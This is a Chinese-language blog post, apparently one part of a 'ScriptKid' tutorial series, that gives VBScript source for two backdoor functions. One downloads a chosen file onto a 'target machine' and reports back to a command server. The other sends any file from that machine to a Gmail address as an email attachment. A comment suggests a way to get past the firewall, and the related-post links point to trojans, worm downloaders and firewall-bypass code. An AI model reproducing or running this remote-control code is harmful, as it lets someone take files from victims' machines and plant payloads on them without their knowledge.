|
Welcome!各位ScriptKid,欢迎来到脚本世界。
终于到周末。可以多陪陪家人,玩玩游戏,研究研究自己感兴趣的东西了。
今天继续的是两个很简单的功能,下载指定文件到目标机器与获取目标机器任意文件。
直接来看示例代码。
Downloader
Function DownLoadFile
Set Http=CreateObject("WinHttp.WinHttpRequest.5.1") //想绕过防火墙请使用InternetExplorer.Application
SplitCmd=Split(CmdText,"|") //分离命令参数。命令格式是:命令号|远程URL|本地文件|超时时间
If UBound(SplitCmd)<3 Then //简单判断命令格式是否合法
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=Command Error!&macaddress="&CmdFile,True
Http.send
Exit Function
End If
Url=SplitCmd(1) //提取URL
LocalFile=SplitCmd(2) //提取本地文件路径
TimeOut=SplitCmd(3) //提取超时时间
Http.Open "GET",Url,False
Http.Send
If Http.Status>299 OR Not Http.WaitForResponse(Timeout) Then //如果返回码>299或者超时
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File DownLoad Error!&macaddress=""&CmdFile,True
Http.send
Else
fso.CreateTextFile(LocalFile) //写入本地文件
ASO.open:ASO.loadfromfile LocalFile
ASO.position=0
ASO.type=1
ASO.Write Http.ResponseBody
ASO.SaveToFile LocalFile,2
ASO.close
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File DownLoad Success!&macaddress="&CmdFile,True
Http.send
End If
End Function
Uploader
这里用的是邮件附件的方式发送我们指定的任意文件。不是最好的方式。不过顺便也当介绍一下如何用vbs发送邮件(支持SSL)
Function SendFile
GetFileName=Mid(Trim(CmdText),9,Len(Trim(CmdText))-8) //另一种比较土的分离命令参数方法。命令格式:getfile|文件绝对路径
Set Email = CreateObject("CDO.Message") //创建CDO.Message对象
NameSpace = "http://schemas.microsoft.com/cdo/configuration/" //指定名称空间。
Email.From = "scriptkidstest@gmail.com" //发信信箱
Email.To = "scriptkidstest@gmail.com" //收信信箱
Email.Subject = "File That You Want-"&CmdFile&"-"&GetFileName //邮件主题
Email.Textbody = "File That You Want" //邮件内容
Email.AddAttachment GetFileName,true //附上我们指定的文件
With Email.Configuration.Fields //设定发送邮件的参数
.Item(NameSpace&"sendusing") = 2 //cdoSendUsingPort
.Item(NameSpace&"smtpserver") = "smtp.gmail.com" //smtp服务器
.Item(NameSpace&"smtpserverport") = 465 //smtp端口。Gmail是465
.Item(NameSpace&"smtpusessl") = true //Gmail使用的是ssl
.Item(NameSpace&"smtpauthenticate") = 1 //认证方式。basic
.Item(NameSpace&"sendusername") = "scriptkidstest@gmail.com" //登录smtp的用户名
.Item(NameSpace&"sendpassword") = "lalalalalaooolll" //密码,不用试了肯定不对^0^
.Update //更新配置
End With
Email.Send
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File Has Been Sended!&macaddress="&CmdFile,true //嘿!已经发过去了,赶紧收信吧
Http.send
End Function
| 网游盗号木马实现手记 | 01-09 |
| 黑色技术蠕虫下载者[完整源码] | 11-01 |
| 利用BCB自己打造QQ炸弹 | 10-23 |
| 从内存中加载并启动一个exe(delp | 09-27 |
| 开启和关闭Windows xp 防火墙(de | 09-27 |
| 让你的程序通过XP防火墙(delphi编 | 09-27 |
| 如何让你的程序安全通过windows防 | 08-20 |
| 如何透过程序来控制 Windows (XP | 08-20 |
| 动易2005-2006算号器的源代码 | 08-11 |
| API对注册表进行操作(Delphi编程 | 07-30 |
| 一段隐藏注册表项的代码 | 07-26 |
| 了解VB编写病毒的大体方法 | 07-02 |